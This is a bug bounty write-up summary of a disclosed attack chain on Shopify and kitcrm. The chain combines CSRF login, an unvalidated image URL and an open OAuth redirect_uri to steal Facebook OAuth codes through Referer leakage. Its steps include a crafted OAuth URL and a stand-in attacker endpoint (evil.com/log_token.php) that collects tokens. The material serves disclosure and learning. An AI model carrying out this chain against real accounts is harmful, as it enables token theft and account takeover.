# Let’s steal some tokens!

Chained CSRF login, unvalidated product image URL, and open OAuth redirect_uri let an attacker steal Facebook OAuth codes and CSRF tokens via referer leakage.

- Payout: unconfirmed
- Severity: high
- Program: Google, Shopify
- Credited: Mahmoud Gamal
- Disclosed: 2017-06-11
- Write-up quality: 7/10
- Original: https://www.seekurity.com/blog/general/lets-steal-some-tokens
- Library page: https://bugbountylibrary.com/r/blog%3Aseekurity-com-blog-general-lets-steal-some-tokens
- Tags: domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:oauth technique:chained vuln:csrf vuln:open-redirect

**Target:** apps.shopify.com and kitcrm.com OAuth/CSRF flows
**Root cause:** OAuth redirect_uri allowed any path on kitcrm.com, product image URL was unvalidated and fetched as image, and Shopify login lacked CSRF token validation, so the OAuth code landed in a page that leaked it via referer.
**Steps:**
1. Register Shopify store and kitcrm account; set priority product image URL to `https://evil.com/log_token.php`.
2. Craft page that CSRF-logs victim into attacker's Shopify store via `POST /admin/auth/login`.
3. CSRF-login victim into kitcrm via `https://www.kitcrm.com/users/auth/shopify?shop=zh5409.myshopify.com`.
4. Redirect victim to `https://www.facebook.com/v2.7/dialog/oauth?client_id=...&redirect_uri=https%3A%2F%2Fwww.kitcrm.com%2Fseller/onboarding/1&response_type=code`.
5. Onboarding page loads attacker image URL, leaking `?code=[fb_token]` in Referer to `log_token.php`.
**How found:** Noticed authenticity_token in redirect URL after login; tried referer leak via rich-text image/link but tags blocked; found custom Google Analytics code field allowed external script load, enabling token theft. For kitcrm, noticed product image URL accepted arbitrary external URLs and OAuth redirect_uri allowed any path.
**Exploitation:** Attacker pre-registers a Shopify store and kitcrm account, sets product image to attacker server, then tricks victim through CSRF logins and Facebook OAuth dialog; the OAuth code is exfiltrated via the image request's Referer header and exchanged for a Facebook access token.
**Escalation:** Chained three low-impact bugs (CSRF login, unvalidated image URL, open redirect_uri) into Facebook account takeover.
**Insight:** When rich-text sanitizers block img/a tags, look for other user-controlled fields that load external resources (analytics snippets, custom JS, webhook URLs) to leak referer-borne tokens; also check OAuth redirect_uri path allowlisting, not just domain.